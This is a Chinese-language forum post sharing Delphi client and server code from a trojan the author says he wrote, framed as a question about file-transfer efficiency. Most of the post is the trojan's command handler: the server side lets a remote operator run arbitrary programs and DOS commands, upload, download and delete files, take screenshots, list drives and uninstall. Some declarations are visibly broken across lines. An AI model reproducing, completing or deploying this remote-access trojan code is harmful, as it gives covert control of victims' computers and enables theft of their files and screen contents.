我哈久以前写的一个木马里面的,用的是tcpclient和tcpserver,用indy的话原理应该也可以的吧,可以相互传文件的,我试过传100m大的文件,就是么断点续传,很稳定的,效率似乎不高……谁有又稳定效率有高的方法帖出来大家看看:
常量:
const
INFORMATION:string= 'sc001x'; //消息
NEXT_FILE_DATA:string= 'sc002x'; //请求发送下段数据
UPLOAD_FILE:string= 'sc003x'; //上传文件通知
DOS_COMMAND:string= 'sc004x'; //dos命令
DOWNLOAD_FILE:string= 'sc005x'; //下载文件
FILE_END:string= 'sc006x'; //文件结束
FILE_SIZE:string= 'sc007x'; //文件大小
GET_FILE_SIZE:string= 'sc008x'; //请求发送文件大小
RUN_COMMAND:string= 'sc009x'; //运行程序
DELETE_FILE:string= 'sc010x'; //删除文件
UNINSTALL_COMMAND:string= 'sc011x'; //卸载服务器
GET_SCREEN:string= 'sc012x'; //截屏
GET_HARD_DISK:string= 'sc013x'; //得到分区信息
GET_SYSTEM:string= 'sc014x'; //取得系统信息
BE:string= 'sc015x'; //锋鸣器指令
COMMAND_LENGTH:Cardinal=6; //消息标识符长度
----------------------------------------
客户端:
var
P
ointer;
L,X:Int64;
Temp:string;
begin
L:=Socket.ReceiveLength;
GetMem(P,L);
Socket.ReceiveBuf(P^,L);
Temp:=StrPas(PChar(P));
if LeftStr(Temp,COMMAND_LENGTH)=FILE_SIZE then //得到文件大小
begin
FileSize:=StrToInt(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(NEXT_FILE_DATA);
InfoBox.Lines.Add('>正在传送文件……');
InfoBox.Lines.Add(' -- / --');
end
else if LeftStr(Temp,COMMAND_LENGTH)=INFORMATION then //返回消息
InfoBox.Lines.Add(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH))
else if LeftStr(Temp,COMMAND_LENGTH)=GET_FILE_SIZE then //请求发送文件大小
begin
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
InfoBox.Lines.Add('>正在传送文件……');
InfoBox.Lines.Add(' -- / --');
end
else if LeftStr(Temp,COMMAND_LENGTH)=NEXT_FILE_DATA then //请求发送文件数据
begin
X:=FileData.Size-FileData.Position;
if X>1024 then
begin
GetMem(P,1024);
FileData.Read(P^,1024);
Socket.SendBuf(P^,1024);
end
else
begin
GetMem(P,X);
FileData.Read(P^,X);
Socket.SendBuf(P^,X);
end;
//计算数据大小
InfoBox.Lines.Strings[InfoBox.Lines.Count-1]:=
Format(' %d%% [ %d / %d ]',
[Round((FileData.Position/FileData.Size)*100),
FileData.Position,FileData.Size]);
end
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_END then
begin
FileData.Free;
InfoBox.Lines.Delete(InfoBox.Lines.Count-1);
InfoBox.Lines.Add('>文件传送完毕。');
end
else
begin
FileData.Write(P^,L);
if FileData.Size < FileSize then
begin
Socket.SendText(NEXT_FILE_DATA);
//计算数据大小
InfoBox.Lines.Strings[InfoBox.Lines.Count-1]:=
Format(' %d%% [ %d / %d ]',
[Round((FileData.Position/FileSize)*100),
FileData.Position,FileSize]);
end
else
begin
Socket.SendText(FILE_END);
InfoBox.Lines.Delete(InfoBox.Lines.Count-1);
InfoBox.Lines.Add('>文件传送完毕。');
FileData.Free;
end;
end;
FreeMem(P);
end;
-----------------------------------------
服务器:
var
P
ointer;
L,X:Int64;
DriveNumber,ps,I:Integer;
Temp,Data,Data2:string;
begin
try
L:=Socket.ReceiveLength;
GetMem(P,L);
Socket.ReceiveBuf(P^,L);
Temp:=StrPas(P);
if LeftStr(Temp,COMMAND_LENGTH)=BE then begin
Delete(Temp,1,COMMAND_LENGTH);
ps:=Pos('|',Temp);
Data:=Copy(Temp,1,ps-1);
Data2:=Copy(Temp,ps+1,L-ps);
Bleeper.DoBleep(StrToInt(Data),StrToInt(Data2));
Socket.SendText(INFORMATION+'OK');
end else if LeftStr(Temp,COMMAND_LENGTH)=INFORMATION then begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
ShowInfo(Data);
end else if LeftStr(Temp,COMMAND_LENGTH)=UNINSTALL_COMMAND then
Uninstall
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_END then
FileData.Free
else if LeftStr(Temp,COMMAND_LENGTH)=NEXT_FILE_DATA then //请求发送文件
begin
X:=FileData.Size-FileData.Position;
if X>1024 then
begin
GetMem(P,1024);
FileData.Read(P^,1024);
Socket.SendBuf(P^,1024);
end
else
begin
GetMem(P,X);
FileData.Read(P^,X);
Socket.SendBuf(P^,X);
end;
end
else if LeftStr(Temp,COMMAND_LENGTH)=DOWNLOAD_FILE then //下载文件
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
FileData:=TFileStream.Create(Data,fmOpenRead);
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
end
else if LeftStr(Temp,COMMAND_LENGTH)=GET_HARD_DISK then //取得分区信息
begin
for DriveNumber:=97 to 122 do
begin
if GetDriveType(PChar(Chr(DriveNumber)+':/'))=DRIVE_FIXED then
Data:=Data+Chr(DriveNumber)+':/ ';
end;
Socket.SendText(INFORMATION+Data);
end
else if LeftStr(Temp,COMMAND_LENGTH)=RUN_COMMAND then //运行程序
if WinExec(PChar(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH)),SW_SHOW) >32 then
Socket.SendText(INFORMATION+'程序已运行')
else
Socket.SendText(INFORMATION+'发生错误')
else if LeftStr(Temp,COMMAND_LENGTH)=DELETE_FILE then
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
if DeleteFile(Data) then
Socket.SendText(INFORMATION+'文件已删除。')
else
Socket.SendText(INFORMATION+'无法删除文件。')
end
else if LeftStr(Temp,COMMAND_LENGTH)=DOS_COMMAND then //运行DOS命令
begin
Data:=ExecuteDOSCommand(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(INFORMATION+Copy(Data,I,3000));
end
else if LeftStr(Temp,COMMAND_LENGTH)=UPLOAD_FILE then //请求上传文件
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
FileData:=TFileStream.Create(Data,fmCreate);
Socket.SendText(GET_FILE_SIZE);
end else if LeftStr(Temp,COMMAND_LENGTH)=GET_SYSTEM then
begin
if IsNt=true then begin
Socket.SendText(INFORMATION+'该系统内核为winnt');
end else begin
Socket.SendText(INFORMATION+'该系统内核为win9x');
end;
end
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_SIZE then
begin
FileSize:=StrToInt(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(NEXT_FILE_DATA);
end
else if LeftStr(Temp,COMMAND_LENGTH)=GET_SCREEN then //收到截取屏幕命令
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
if GetScreen(StrToInt(Data)) = False then
Socket.SendText(INFORMATION+'截取屏幕图象时发生错误!')
else
begin
FileData:=TFileStream.Create(GetTempPath+'Screen.jpg',fmOpenRead);
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
end;
end
else
begin
FileData.Write(P^,L);
if FileData.Size < FileSize then
Socket.SendText(NEXT_FILE_DATA)
else
begin
Socket.SendText(FILE_END);
FileData.Free;
end;
end;
FreeMem(P);
except
Socket.SendText(INFORMATION+'服务器端发生错误');
try
FileData.Size;
except
Exit;
end;
FileData.Free;
end;
end;